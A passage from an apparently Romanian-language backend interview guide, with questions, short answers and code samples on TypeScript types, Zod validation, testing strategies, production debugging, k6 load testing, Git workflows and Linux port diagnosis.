8. Sharding (date împărțite pe mai multe servere, de exemplu după tenant_id): scalează scrierile, dar pierzi JOIN-urile și tranzacțiile între shard-uri, iar rebalansarea e dificilă. Unele soluții (Citus, Vitess) ajută, dar complexitatea rămâne.

Separat, poți împărți datele pe domenii între servicii, fiecare cu baza lui, dacă arhitectura o justifică.

Ce urmărește intervievatorul: Se evaluează judecata și prioritizarea la nivel senior. Greșeala tipică este să sari direct la sharding sau microservicii.

TypeScript

71 Junior

De ce ai folosi TypeScript pe backend și ce rămâne neschimbat la rulare?

Răspuns scurt: TypeScript adaugă tipuri statice verificate la compilare, ceea ce prinde erori înainte de rulare, face refactorizarea sigură și documentează contractele din cod. La rulare însă tipurile dispar complet: codul rulat este JavaScript, deci datele din exterior trebuie validate în continuare.

Beneficii concrete pe backend:

  • erori prinse devreme: un câmp redenumit în modelul Order produce erori de compilare în toate locurile care îl folosesc, nu un undefined în producție;
  • refactorizare sigură: IDE-ul știe exact unde este folosită o funcție;
  • contracte explicite între straturi: ce primește și ce întoarce un serviciu;
  • autocomplete pentru biblioteci, inclusiv pentru clientul de bază de date generat (Prisma, Kysely);
  • verificarea cazurilor: cu tipuri uniune și never, compilatorul te avertizează dacă ai uitat un caz.
TypeScript
type OrderStatus = 'pending' | 'paid' | 'shipped';

function label(s: OrderStatus): string {
  switch (s) {
    case 'pending': return 'În așteptare';
    case 'paid': return 'Plătită';
    case 'shipped': return 'Expediată';
  }
}

Dacă adaugi 'cancelled' în tip, cu strict activat compilatorul semnalează că funcția nu mai întoarce un string pe toate ramurile.

Ce nu face TypeScript: nu verifică nimic la rulare. Dacă declari req.body as CreateUserDto, compilatorul te crede, dar body-ul poate conține orice. De aceea validarea la granița aplicației rămâne obligatorie.

Cum rulezi codul: compilezi cu tsc în dist/ și rulezi JavaScript-ul rezultat, sau folosești în dezvoltare unelte ca tsx. Din Node.js 23.6, Node poate rula direct fișiere .ts prin „type stripping” (fără verificare de tipuri și cu unele limitări de sintaxă, de exemplu fără enum), dar verificarea tot se face separat cu tsc --noEmit.

Ce urmărește intervievatorul: Verifică dacă înțelegi ce oferă și ce nu oferă TypeScript. Greșeala tipică este credința că tipurile validează datele din request.

72 Junior

Care este diferența dintre interface și type în TypeScript?

Răspuns scurt: Ambele descriu forma unui obiect și în cele mai multe cazuri sunt interschimbabile. interface poate fi extinsă prin declarații repetate (declaration merging) și cu extends; type poate exprima și uniuni, intersecții, tupluri, tipuri condiționale și mapped types.

TypeScript
interface User {
  id: string;
  email: string;
}
interface Admin extends User {
  permissions: string[];
}

type Id = string | number;                       // uniune: doar cu type
type ApiResult<T> = { ok: true; data: T } | { ok: false; error: string };
type Point = [number, number];                   // tuplu
type WithTimestamps<T> = T & { createdAt: Date; updatedAt: Date }; // intersecție

Diferențe reale:

  • Declaration merging: două declarații interface Request cu același nume se combină. Așa extinzi tipurile unei biblioteci, de exemplu adaugi user pe obiectul Request din Express:
TypeScript
declare global {
  namespace Express {
    interface Request { user?: { id: string; role: string } }
  }
}

Un type cu același nume declarat de două ori dă eroare.

  • Expresivitate: uniunile, tipurile condiționale (T extends string ? A : B) și mapped types ({ [K in keyof T]: ... }) se scriu doar cu type.
  • Mesaje de eroare și performanța compilatorului: pentru ierarhii mari de obiecte, interface cu extends este uneori verificată mai eficient decât intersecțiile cu &, iar documentația TypeScript recomandă interface pentru obiecte când ai de ales.
  • Clase: o clasă poate face implements și pe o interfață, și pe un alias de tip obiect.

În practică, multe echipe aleg o convenție: interface pentru forme de obiecte și contracte publice, type pentru uniuni și tipuri derivate. Consecvența în proiect contează mai mult decât alegerea.

Ce urmărește intervievatorul: Întrebare frecventă de TypeScript. Se urmărește cunoașterea declaration merging și a cazurilor în care doar type funcționează.

73 Junior

Care este diferența dintre any, unknown și never?

Răspuns scurt: any dezactivează verificarea de tipuri. unknown acceptă orice, dar te obligă să verifici tipul înainte de folosire, deci e varianta sigură pentru date necunoscute. never descrie o valoare imposibilă, utilă pentru verificarea exhaustivă.

any se propagă: tot ce atinge devine any, iar erorile scapă la rulare.

TypeScript
const data: any = JSON.parse(body);
data.user.email.toLowerCase();   // compilează, poate pica la rulare

unknown este „top type”-ul sigur. Poți atribui orice în el, dar nu poți face nimic cu valoarea până nu o restrângi:

TypeScript
function parse(body: string): unknown {
  return JSON.parse(body);
}
const data = parse(body);
// data.user;                      // eroare de compilare
if (typeof data === 'object' && data !== null && 'user' in data) {
  // acum TypeScript știe mai mult despre data
}

În practică, o schemă Zod transformă un unknown în tipul corect: const user = UserSchema.parse(data).

Cu useUnknownInCatchVariables (inclus în strict din TypeScript 4.4), variabila din catch (err) este unknown, pentru că în JavaScript se poate arunca orice, nu doar Error:

TypeScript
catch (err) {
  const msg = err instanceof Error ? err.message : String(err);
}

never este tipul gol. Apare la funcții care aruncă mereu sau intră în buclă infinită și la ramuri imposibile. Este util pentru verificarea exhaustivă:

TypeScript
function assertNever(x: never): never {
  throw new Error(`Caz netratat: ${JSON.stringify(x)}`);
}
switch (event.type) {
  case 'created': /* ... */ break;
  case 'deleted': /* ... */ break;
  default: assertNever(event);  // eroare de compilare dacă apare un tip nou
}

Regula de lucru: evită any (ESLint are no-explicit-any), folosește unknown pentru date din exterior și never pentru a forța tratarea tuturor cazurilor.

Ce urmărește intervievatorul: Se verifică dacă scrii TypeScript sigur sau doar JavaScript cu adnotări. Folosirea lui any peste tot este un semnal negativ.

74 Junior

Cum folosești utility types precum Partial, Pick, Omit și Record într-un API?

Răspuns scurt: Utility types derivă tipuri noi din cele existente: Partial<T> face toate câmpurile opționale (util la update), Pick<T, K> și Omit<T, K> aleg sau exclud câmpuri (DTO-uri de creare sau de răspuns), iar Record<K, V> descrie un obiect cu chei de un anumit tip.

Pornești de la modelul principal și derivi restul, ca să nu duplici definiții care apoi se desincronizează.

TypeScript
interface User {
  id: string;
  email: string;
  name: string;
  passwordHash: string;
  role: 'user' | 'admin';
  createdAt: Date;
}

// ce primește endpoint-ul de creare
type CreateUserInput = Pick<User, 'email' | 'name'> & { password: string };

// ce poate modifica utilizatorul în PATCH
type UpdateUserInput = Partial<Pick<User, 'name' | 'email'>>;

// ce întoarce API-ul: niciodată hash-ul parolei
type PublicUser = Omit<User, 'passwordHash'>;

// mesaje pe status
type Role = User['role'];
const roleLabels: Record<Role, string> = { user: 'Utilizator', admin: 'Administrator' };

Avantajul lui Record<Role, string>: dacă adaugi un rol nou, compilatorul cere eticheta lipsă.

Alte utility types utile:

  • Required<T>, opusul lui Partial;
  • Readonly<T>, pentru obiecte de configurare;
  • ReturnType<typeof fn> și Awaited<T>, ca să obții tipul rezultatului unei funcții async: Awaited<ReturnType<typeof getUser>>;
  • Parameters<typeof fn>;
  • NonNullable<T>, care elimină null și undefined.

Atenție la limitări: Omit nu verifică dacă cheia exclusă există (o greșeală de scriere trece neobservată), iar Partial este superficial, nu se aplică pe obiectele imbricate.

Când folosești Zod, poți inversa direcția: definești schema și obții tipul cu z.infer, iar schemele derivate se fac cu .pick(), .omit(), .partial().

Ce urmărește intervievatorul: Se verifică fluența practică în TypeScript. Bonus: exemplul Omit pentru a nu expune passwordHash.

75 Mid

Ce sunt generics și cum i-ai folosi într-un repository sau într-un răspuns de API?

Răspuns scurt: Generics sunt parametri de tip: scrii o funcție, clasă sau tip o singură dată, iar tipul concret este ales la folosire, cu verificare completă. Sunt utili pentru răspunsuri paginate, repository-uri generice și funcții utilitare care păstrează tipul datelor.

Fără generics, alegi între cod duplicat pentru fiecare tip și any, care pierde informația.

TypeScript
interface Page<T> {
  data: T[];
  nextCursor: string | null;
}

async function paginate<T>(
  fetchPage: (cursor: string | null, limit: number) => Promise<T[]>,
  getCursor: (item: T) => string,
  cursor: string | null,
  limit = 20,
): Promise<Page<T>> {
  const rows = await fetchPage(cursor, limit + 1);   // un rând în plus: mai există pagini?
  const data = rows.slice(0, limit);
  const hasMore = rows.length > limit;
  return { data, nextCursor: hasMore ? getCursor(data[data.length - 1]) : null };
}

Dacă fetchPage întoarce Order[], rezultatul este automat Page<Order>.

Constrângeri cu extends, ca să ceri o anumită formă:

TypeScript
interface Entity { id: string }

class InMemoryRepo<T extends Entity> {
  private items = new Map<string, T>();
  save(item: T): T { this.items.set(item.id, item); return item; }
  findById(id: string): T | undefined { return this.items.get(id); }
}

const users = new InMemoryRepo<User>();

keyof cu generics, pentru funcții sigure pe câmpuri:

TypeScript
function pluck<T, K extends keyof T>(items: T[], key: K): T[K][] {
  return items.map((i) => i[key]);
}
pluck(users, 'email');   // string[]
pluck(users, 'emial');   // eroare de compilare

Bune practici: lasă TypeScript să deducă parametrii când poate, nu adăuga generics care apar o singură dată în semnătură (nu aduc nimic) și preferă nume descriptive (TEntity) când sunt mai mulți parametri.

Generics apar peste tot în bibliotecile backend: Promise<T>, Map<K, V>, Request<Params, ResBody, ReqBody, Query> în tipurile Express.

Ce urmărește intervievatorul: Verifică dacă poți scrie cod reutilizabil cu tipuri sigure, nu doar folosi biblioteci. Exemplul cu constrângeri arată nivelul mid.

76 Mid

Ce este type narrowing și cum scrii un type guard propriu?

Răspuns scurt: Narrowing înseamnă că TypeScript restrânge tipul unei variabile pe o ramură de cod, pe baza verificărilor (typeof, instanceof, in, câmp discriminant). Un type guard propriu este o funcție cu tipul de retur x is T.

Mecanisme de narrowing încorporate:

TypeScript
function format(v: string | number | Date) {
  if (typeof v === 'string') return v.trim();      // v: string
  if (v instanceof Date) return v.toISOString();   // v: Date
  return v.toFixed(2);                             // v: number
}

Uniuni discriminate, cel mai util tipar pentru evenimente și rezultate:

TypeScript
type PaymentEvent =
  | { type: 'succeeded'; amount: number; chargeId: string }
  | { type: 'failed'; reason: string };

function handle(e: PaymentEvent) {
  if (e.type === 'succeeded') {
    markPaid(e.chargeId, e.amount);   // aici e are amount și chargeId
  } else {
    logFailure(e.reason);
  }
}

Type guard propriu, de exemplu pentru erori de la driverul PostgreSQL:

TypeScript
interface PgError extends Error { code: string; constraint?: string }

function isPgError(err: unknown): err is PgError {
  return err instanceof Error && typeof (err as { code?: unknown }).code === 'string';
}

try {
  await usersRepo.insert(user);
} catch (err) {
  if (isPgError(err) && err.code === '23505') {   // unique_violation
    throw new ConflictError('Email deja folosit');
  }
  throw err;
}

Atenție: compilatorul are încredere în type guard. Dacă implementarea verifică greșit, tipul afirmat este fals și problema apare la rulare. De aceea, pentru obiecte complexe din exterior, o schemă (Zod) este mai sigură decât un guard scris manual.

Există și funcții de aserțiune (asserts x is T), care aruncă dacă verificarea eșuează, iar după apel tipul este restrâns pentru restul blocului. Din TypeScript 5.5, compilatorul poate deduce singur type guard-uri din funcții simple, de exemplu în array.filter(x => x !== null).

Ce urmărește intervievatorul: Se urmărește lucrul sigur cu date de tip uniune și cu erori. Uniunile discriminate sunt un semn bun de experiență.

77 Mid

Cum te asiguri că tipurile TypeScript corespund datelor reale primite la rulare?

Răspuns scurt: Validezi datele la granițe (request-uri, răspunsuri de la servicii externe, variabile de mediu, mesaje din cozi) cu o bibliotecă de scheme ca Zod, Valibot sau TypeBox și derivi tipul TypeScript din schemă. Astfel există o singură sursă de adevăr pentru tip și validare.

Problema: tipurile există doar la compilare. Un cast ca const body = req.body as CreateOrder sau await res.json() as Product[] este doar o promisiune făcută compilatorului. Dacă serviciul extern schimbă formatul, aplicația continuă cu date greșite și pică mai târziu, într-un loc greu de legat de cauză.

Soluția este parsarea, nu cast-ul:

TypeScript
import { z } from 'zod';

export const ProductSchema = z.object({
  id: z.string(),
  name: z.string(),
  price: z.number().nonnegative(),
  tags: z.array(z.string()).default([]),
});
export type Product = z.infer<typeof ProductSchema>;

async function fetchProducts(): Promise<Product[]> {
  const res = await fetch(`${config.CATALOG_URL}/products`);
  if (!res.ok) throw new UpstreamError(res.status);
  return z.array(ProductSchema).parse(await res.json());
}

Acum, dacă datele nu corespund, eroarea apare imediat, cu mesaj clar despre câmpul greșit, la granița cu serviciul extern.

Unde se aplică:

  • body, query, parametri și headere ale request-urilor;
  • răspunsurile API-urilor externe;
  • process.env la pornire;
  • mesaje din cozi și webhook-uri;
  • coloane jsonb citite din baza de date.

Alternative și completări:

  • TypeBox generează JSON Schema și tipuri TS, potrivit cu validarea nativă din Fastify;
  • OpenAPI: generezi tipuri din specificație (de exemplu cu openapi-typescript), dar tot validezi la rulare;
  • tRPC sau scheme partajate într-un monorepo, ca frontendul și backendul să folosească aceleași tipuri.

Merită discutat și costul: parsarea are un cost de CPU, neglijabil de obicei, dar vizibil pe răspunsuri foarte mari în bucle intense.

Ce urmărește intervievatorul: Diferențiază candidații care au văzut erori de integrare în producție. Folosirea lui as pe datele din exterior este greșeala tipică.

Testare și depanare

78 Junior

Ce tipuri de teste scrii pentru un backend și ce verifică fiecare?

Răspuns scurt: Testele unitare verifică o funcție izolat, rapid. Testele de integrare verifică piese puse împreună, de exemplu endpoint plus bază de date reală. Testele end-to-end verifică fluxuri întregi, ca un client real; sunt puține și acoperă fluxurile critice.

Modelul clasic este piramida testelor:

  • unit: logica de business pură. De exemplu, calculul reducerii sau validarea unei tranziții de status a comenzii. Rulează în milisecunde, deci poți avea sute și le rulezi la fiecare salvare. Dependențele externe sunt înlocuite cu dubluri (mock-uri, stub-uri).
  • integrare: verifică dacă piesele chiar funcționează împreună. Pentru un API, înseamnă un request HTTP către aplicație, care trece prin rutare, validare, serviciu și o bază de date reală (de obicei într-un container). Prind erori de SQL, de mapare și de configurare pe care testele unitare nu le văd.
  • end-to-end: aplicația pornită complet, eventual cu frontend, într-un mediu apropiat de producție. Sunt lente și mai fragile, deci acoperă doar fluxurile critice (înregistrare, plată).

Pentru backend-uri, multe echipe pun accent mai mare pe testele de integrare (modelul „testing trophy”), pentru că o mare parte din risc stă în interacțiunea cu baza de date și cu HTTP.

Alte tipuri utile:

  • contract tests: verifică faptul că API-ul respectă specificația OpenAPI sau așteptările consumatorilor (de exemplu cu Pact);
  • teste de performanță și de încărcare;
  • smoke tests după deploy: câteva verificări rapide că aplicația răspunde.

Unelte uzuale în Node.js: test runner-ul încorporat node:test (stabil din Node.js 20), Jest, Vitest, plus supertest pentru request-uri HTTP și Testcontainers pentru baze de date reale.

Un test bun este determinist, independent de ordinea rulării și verifică comportamentul observabil, nu detaliile interne de implementare.

Ce urmărește intervievatorul: Se verifică dacă ai o strategie de testare, nu doar că „scrii teste”. Greșeala tipică este testarea exclusiv cu mock-uri, fără nicio integrare reală.

79 Junior

Scrie un test unitar pentru o funcție care calculează prețul final al unui coș cu reducere.

Răspuns scurt: Scrii mai multe cazuri mici, fiecare cu un scenariu clar (coș gol, fără reducere, reducere procentuală, reducere mai mare decât totalul, date invalide), urmând structura Arrange, Act, Assert. Verifici valorile exacte, inclusiv cazurile-limită.

Funcția testată:

JavaScript
// cart.js
export function finalPrice(items, discountPercent = 0) {
  if (discountPercent < 0 || discountPercent > 100) {
    throw new RangeError('Reducere invalidă');
  }
  const totalCents = items.reduce((s, i) => s + i.priceCents * i.qty, 0);
  return Math.round(totalCents * (100 - discountPercent) / 100);
}

Testele, cu test runner-ul încorporat în Node.js (node --test):

JavaScript
// cart.test.js
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { finalPrice } from './cart.js';

test('coș gol are prețul 0', () => {
  assert.equal(finalPrice([]), 0);
});

test('fără reducere adună cantitate x preț', () => {
  const items = [{ priceCents: 1000, qty: 2 }, { priceCents: 550, qty: 1 }];
  assert.equal(finalPrice(items), 2550);
});

test('aplică reducerea procentuală și rotunjește la ban', () => {
  assert.equal(finalPrice([{ priceCents: 999, qty: 1 }], 15), 849);
});

test('reducere invalidă aruncă RangeError', () => {
  assert.throws(() => finalPrice([], 120), RangeError);
});

Ce arată un candidat bun:

  • prețuri în bani întregi, ca să eviți erorile de virgulă mobilă;
  • un comportament verificat per test, cu nume care descriu regula, nu implementarea;
  • cazuri-limită: listă goală, 0%, 100%, valori invalide, rotunjire;
  • funcție pură, fără dependențe, deci nu are nevoie de mock-uri.

Sintaxa este aproape identică în Jest sau Vitest (describe, it, expect(x).toBe(2550)). Intervievatorul poate continua cu „ce alte cazuri ai adăuga?”; răspunsuri bune: cantitate 0 sau negativă, preț lipsă, produse duplicate.

Ce urmărește intervievatorul: Se verifică dacă te gândești la cazuri-limită și scrii teste clare. Greșeala tipică: un singur test „happy path” cu multe aserțiuni amestecate.

80 Mid

Ce sunt mock-urile, stub-urile și spy-urile și când este greșit să folosești mock-uri?

Răspuns scurt: Sunt dubluri de test: stub-ul întoarce răspunsuri prestabilite, spy-ul înregistrează apelurile, mock-ul combină ambele cu așteptări. Folosite excesiv, fac testele să verifice implementarea, nu comportamentul, și să treacă deși codul real nu merge.

Într-un test unitar al unui serviciu, înlocuiești dependențele lente sau nedeterministe: clientul de email, API-ul de plăți, ceasul sistemului.

JavaScript
import { test, mock } from 'node:test';
import assert from 'node:assert/strict';
import { OrdersService } from './orders.service.js';

test('trimite email de confirmare după crearea comenzii', async () => {
  const repo = { create: mock.fn(async (o) => ({ id: 'o1', ...o })) };   // stub
  const mailer = { sendConfirmation: mock.fn(async () => {}) };         // spy
  const service = new OrdersService({ repo, mailer });

  await service.create({ userId: 'u1', items: [] });

  assert.equal(mailer.sendConfirmation.mock.callCount(), 1);
  assert.equal(mailer.sendConfirmation.mock.calls[0].arguments[0].id, 'o1');
});

Injectarea dependențelor prin constructor face testul simplu, fără să modifici module globale. Alternativ, Jest și Vitest pot înlocui module întregi (vi.mock('./mailer.js')), dar asta cuplează testul de structura fișierelor.

Când mock-urile fac rău:

  • mock-uiești baza de date pentru a testa un repository: testul trece, dar SQL-ul poate fi greșit. Repository-urile se testează în integrare, pe o bază reală;
  • verifici fiecare apel intern: orice refactorizare care păstrează comportamentul strică testul;
  • mock-uiești ce nu deții fără un test de contract: biblioteca externă se schimbă, iar mock-ul tău nu.

Regula practică: mock-uri la granițele sistemului (rețea, timp, servicii externe), cod real în rest. Pentru timp, mock.timers din node:test sau vi.useFakeTimers() permit testarea logicii cu expirări fără să aștepți.

Nu uita să resetezi mock-urile între teste, ca să nu existe stare comună.

Ce urmărește intervievatorul: Se verifică maturitatea în testare. Semnal negativ: teste în care totul este mock-uit și nu se mai testează nimic real.

81 Mid

Cum scrii teste de integrare pentru un endpoint care folosește baza de date?

Răspuns scurt: Pornești aplicația în memorie cu supertest, conectată la o bază de date reală de test (de obicei într-un container Docker), aplici migrațiile, pregătești datele necesare fiecărui test, trimiți request-uri HTTP și verifici atât răspunsul, cât și starea din baza de date.

Structura care face asta simplu: app.js construiește aplicația fără să apeleze listen, iar testele o importă.

JavaScript
import { test, before, after, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import request from 'supertest';
import { createApp } from '../src/app.js';
import { db, migrate, truncateAll } from './helpers/db.js';

let app;
before(async () => { await migrate(); app = createApp({ db }); });
beforeEach(() => truncateAll());
after(() => db.end());

test('POST /users creează utilizatorul și nu întoarce parola', async () => {
  const res = await request(app)
    .post('/users')
    .send({ email: 'ana@ex.ro', name: 'Ana', password: 'parola-lunga-123' })
    .expect(201);

  assert.equal(res.body.email, 'ana@ex.ro');
  assert.equal(res.body.passwordHash, undefined);

  const { rows } = await db.query('SELECT count(*)::int AS n FROM users');
  assert.equal(rows[0].n, 1);
});

test('POST /users cu email duplicat întoarce 409', async () => {
  await request(app).post('/users').send({ email: 'a@ex.ro', name: 'A', password: 'parola-lunga-123' });
  await request(app).post('/users').send({ email: 'a@ex.ro', name: 'B', password: 'parola-lunga-123' })
    .expect(409);
});

Decizii importante:

  • baza de date: același motor ca în producție. Un SQLite în locul lui PostgreSQL ascunde diferențe de sintaxă și comportament. Testcontainers sau un serviciu în docker compose / în CI oferă o instanță curată;
  • izolare: golești tabelele înainte de fiecare test sau rulezi fiecare test într-o tranzacție anulată la final; testele nu trebuie să depindă de ordine;
  • date de test: funcții „factory” care creează entități valide cu valori implicite, suprascrise doar unde contează;
  • servicii externe: interceptezi HTTP-ul (de exemplu cu nock sau MockAgent din undici), nu chemi API-uri reale;
  • viteză: migrațiile rulează o singură dată pe suită.

Ce urmărește intervievatorul: Arată dacă ai testat cod real legat de baza de date. Greșeala tipică: teste care rulează pe baza de date de dezvoltare și depind unele de altele.

82 Mid

Cum decizi ce să testezi și cât de mult? Ce părere ai despre TDD și despre procentul de code coverage?

Răspuns scurt: Testezi întâi ce are risc și impact mare: logica de business, autorizarea, cazurile-limită și bug-urile deja apărute. Coverage-ul arată codul neexecutat, nu calitatea testelor. TDD e util mai ales pentru logică cu reguli clare.

Prioritizare. Te întrebi ce s-ar întâmpla dacă o anumită bucată de cod s-ar strica în producție. Calculul unei facturi, verificarea că un utilizator nu poate vedea comenzile altuia sau tranzițiile de status ale unei plăți merită teste detaliate. Un endpoint de administrare intern simplu poate avea doar un test de integrare de bază.

Reguli practice:

  • fiecare bug corectat primește un test care l-ar fi prins (test de regresie);
  • testezi comportamentul public (ce primește și ce întoarce un serviciu, ce răspunde un endpoint), nu metodele private;
  • testezi și căile de eroare: input invalid, resursă inexistentă, serviciu extern căzut.

Code coverage. Un raport de acoperire (node --test --experimental-test-coverage, c8, vitest --coverage) arată liniile și ramurile neexecutate. Este util pentru a găsi zone uitate. Ca țintă absolută este însă înșelător: poți avea acoperire mare cu teste fără aserțiuni relevante. Unele echipe impun un prag minim ca să prevină scăderea, nu ca măsură a calității. Mutation testing (de exemplu cu Stryker) verifică mai direct dacă testele chiar detectează modificări în cod.

TDD (test-driven development): scrii întâi un test care eșuează, apoi codul minim care îl face să treacă, apoi refactorizezi. Avantaje: design orientat pe interfață, cod ușor de testat, cerințe clarificate devreme. Funcționează foarte bine pentru logică de domeniu și pentru reproducerea bug-urilor. Pentru cod exploratoriu sau integrări cu API-uri necunoscute, multe echipe scriu testele imediat după.

La interviu contează să arăți o atitudine pragmatică: testele sunt o investiție care trebuie să îți dea încredere la schimbări, nu un indicator de bifat.

Ce urmărește intervievatorul: Se urmărește judecata, nu dogma. Răspunsurile de tip „100% coverage obligatoriu” sau „testele încetinesc echipa” sunt ambele semnale slabe.

83 Senior

Un endpoint răspunde uneori cu 500 în producție, dar local nu reușești să reproduci problema. Cum procedezi?

Răspuns scurt: Strângi date înainte să schimbi cod: loguri corelate prin request ID, stack trace, metrici și trace-uri. Cauți ce au în comun request-urile afectate, formulezi o ipoteză, o reproduci într-un test, apoi corectezi și verifici în producție.

1. Delimitează problema. De când apare? Coincide cu un deploy, o migrație, o creștere de trafic? Afectează toate instanțele sau una singură? Toate request-urile sau doar anumite rute și anumiți utilizatori?

2. Uită-te la date. Ai nevoie de observabilitate pregătită dinainte:

  • loguri structurate (JSON, de exemplu cu pino) cu requestId, ruta, utilizatorul și durata; eroarea logată cu stack și cause;
  • metrici: rata de erori, latența pe percentile, utilizarea pool-ului de conexiuni, memoria, întârzierea event loop-ului;
  • tracing distribuit (OpenTelemetry): arată unde se pierde timpul și ce dependență a eșuat într-un request.
JavaScript
logger.error({ err, requestId: req.id, route: req.route?.path, userId: req.user?.id },
  'request failed');

3. Caută tiparul. Cauze tipice pentru erori intermitente:

  • timeout sau pool de conexiuni epuizat sub încărcare;
  • condiții de cursă între request-uri concurente;
  • date care există doar în producție (caractere speciale, valori null neașteptate, volume mari);
  • o instanță cu configurare diferită sau cu memorie aproape plină;
  • un serviciu extern instabil, fără retry sau timeout.

4. Reprodu controlat. Cu input-ul identificat, scrii un test care eșuează; pentru probleme de concurență, un test de încărcare local sau pe staging.

5. Corectează și confirmă. Deploy, urmărești metricile, păstrezi testul de regresie. Dacă impactul e mare, întâi atenuezi (rollback, feature flag, mai multe resurse), apoi investighezi liniștit.

6. Învață. Un post-mortem fără vinovați: ce a lipsit ca problema să fie detectată sau evitată mai devreme (alertă, validare, test).

Ce urmărește intervievatorul: Întrebare despre metoda de lucru în producție. Se apreciază ordinea „date, ipoteză, reproducere, corecție” și pregătirea observabilității.

84 Senior

Cum ai testa și ai îmbunătăți performanța unui API înainte de o campanie cu trafic mult mai mare decât de obicei?

Răspuns scurt: Definești ținte măsurabile (debit, latență p95/p99, rată de erori), simulezi trafic realist cu k6 sau autocannon pe un mediu apropiat de producție, găsești primul punct care cedează, îl optimizezi și repeți testul.

1. Ținte și scenariu. Pornești de la traficul obișnuit și cel estimat pentru campanie și le transformi în cifre concrete: debit, latențe țintă, erori acceptate. Scenariul imită utilizatorii reali: proporția de citiri, căutări, adăugări în coș și comenzi, cu date variate, nu același produs de un milion de ori (asta ar testa doar cache-ul).

2. Rulează testul. Un exemplu minimal cu k6:

JavaScript
import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  stages: [{ duration: '2m', target: 200 }, { duration: '5m', target: 200 }],
  thresholds: { http_req_duration: ['p(95)<300'], http_req_failed: ['rate<0.01'] },
};

export default function () {
  const res = http.get(`${__ENV.BASE_URL}/products?page=1`);
  check(res, { 'status 200': (r) => r.status === 200 });
  sleep(1);
}

3. Găsește gâtul de sticlă, urmărind în timpul testului: CPU și întârzierea event loop-ului pe instanțele Node.js, pool-ul de conexiuni, CPU și lock-urile bazei de date, latența dependențelor externe, memoria. Pentru CPU în Node.js, node --cpu-prof sau Clinic.js arată funcțiile costisitoare.

4. Optimizări uzuale: cache pentru citirile frecvente, query-uri și indecși, mai puține date serializate, compresie la nivelul proxy-ului, muncă asincronă mutată în cozi, mai multe instanțe stateless, dimensionarea corectă a pool-ului, limite de rată pentru a proteja serviciile scumpe.

5. Planifică degradarea. Ce faci dacă traficul depășește estimarea: autoscalare, coadă de așteptare pentru checkout, dezactivarea temporară a funcțiilor neesențiale prin feature flags, mesaje de eroare clare în loc de timeout-uri.

Testul se rulează pe infrastructură comparabilă cu producția și cu un volum de date realist, altfel rezultatele induc în eroare.

Ce urmărește intervievatorul: Întrebare de nivel senior despre planificare și măsurare. Greșeala tipică este optimizarea „după ureche”, fără ținte și fără test de încărcare.

Git, Linux și Docker

85 Junior

Care este diferența dintre git merge și git rebase și când îl folosești pe fiecare?

Răspuns scurt: merge unește două ramuri printr-un commit nou de merge, păstrând istoria exact cum a fost. rebase reaplică commit-urile tale peste vârful altei ramuri, rezultând o istorie liniară, dar cu commit-uri rescrise. Nu faci rebase pe commit-uri pe care alții le-au preluat deja.

Să presupunem că ai creat ramura feature/login din main, iar între timp colegii au adăugat commit-uri în main.

BASH
# varianta merge: aduci main în ramura ta
git switch feature/login
git merge main            # creează un commit de merge

# varianta rebase: îți muți commit-urile peste main actualizat
git fetch origin
git rebase origin/main    # commit-urile tale primesc hash-uri noi
git push --force-with-lease

Merge

  • avantaje: nu rescrie istoria, sigur pe ramuri partajate, arată exact când s-au integrat ramurile;
  • dezavantaje: istoria poate deveni greu de citit, cu multe commit-uri de merge.

Rebase

  • avantaje: istorie liniară și curată, ușor de parcurs cu git log și git bisect;
  • dezavantaje: rescrie commit-urile, deci după push ai nevoie de force push. Dacă un coleg lucrează pe aceeași ramură, istoriile voastre se despart.

--force-with-lease este varianta sigură a lui --force: refuză suprascrierea dacă pe server au apărut commit-uri pe care nu le-ai văzut.

Rebase interactiv (git rebase -i HEAD~5) permite comasarea, reordonarea și editarea commit-urilor înainte de a deschide un pull request.

Fluxuri uzuale în echipe:

  • ramura personală se actualizează cu rebase pe main;
  • integrarea în main se face prin pull request, cu „merge commit”, „squash and merge” (toate commit-urile ramurii devin unul) sau „rebase and merge”, după convenția echipei.

Regula de aur: nu rescrii istoria pe ramuri comune, cum ar fi main.

Ce urmărește intervievatorul: Întrebare de Git aproape obligatorie. Se urmărește dacă știi riscul rebase-ului pe ramuri partajate și varianta sigură de force push.

86 Junior

Cum rezolvi un conflict de merge și care este diferența dintre git revert și git reset?

Răspuns scurt: La conflict, Git marchează zonele în fișier; alegi varianta corectă, testezi, apoi git add și finalizezi. git revert creează un commit nou care anulează unul vechi, sigur pe ramuri publice; git reset mută ramura înapoi, potrivit doar local.

Rezolvarea conflictelor. După un git merge sau git rebase cu conflict, git status arată fișierele afectate. În ele apar marcaje:

<<<<<<< HEAD
const TIMEOUT_MS = 5000;
=======
const TIMEOUT_MS = Number(process.env.TIMEOUT_MS ?? 3000);
>>>>>>> feature/config

Pași:

1. înțelegi ce a vrut fiecare modificare; adesea rezultatul corect le combină pe amândouă, nu alege una; 2. editezi fișierul și elimini marcajele; 3. rulezi testele și aplicația; 4. git add fișier și git commit (la merge) sau git rebase --continue (la rebase).

Dacă te-ai încurcat: git merge --abort sau git rebase --abort revin la starea de dinainte. Editoarele moderne au vizualizare în trei panouri pentru conflicte. Pull request-urile mici și actualizarea frecventă a ramurii reduc conflictele.

git revert vs git reset

BASH
git revert a1b2c3d          # commit nou cu modificările inverse
git reset --soft HEAD~1     # anulează commit-ul, păstrează modificările în staging
git reset --hard HEAD~1     # anulează commit-ul și modificările din lucru
  • revert nu modifică istoria existentă, deci se folosește pe main când un commit a stricat producția;
  • reset mută pointerul ramurii; e potrivit pentru commit-uri locale pe care nu le-ai urcat. Pe o ramură partajată ar cere force push și i-ar încurca pe colegi;
  • --hard pierde modificările necomise; commit-urile pierdute se pot recupera de obicei o perioadă cu git reflog.

Pentru a scoate un fișier din staging fără să pierzi modificările se folosește git restore --staged fișier.

Ce urmărește intervievatorul: Se verifică siguranța în lucrul cu Git în echipă. Greșeala periculoasă: reset --hard și force push pe main în loc de revert.

87 Junior

Aplicația nu pornește pe server pentru că portul 3000 este ocupat, iar apoi vrei să vezi de ce consumă multă memorie. Ce comenzi Linux folosești?

Răspuns scurt: Afli procesul care ascultă pe port cu ss -ltnp sau lsof -i :3000, îl inspectezi cu ps și îl oprești cu kill (întâi SIGTERM). Pentru resurse folosești top/htop, free -h, df -h, iar pentru loguri journalctl sau tail -f.

Portul ocupat (eroarea EADDRINUSE în Node.js):

BASH
ss -ltnp | grep :3000          # procesele care ascultă pe porturi TCP
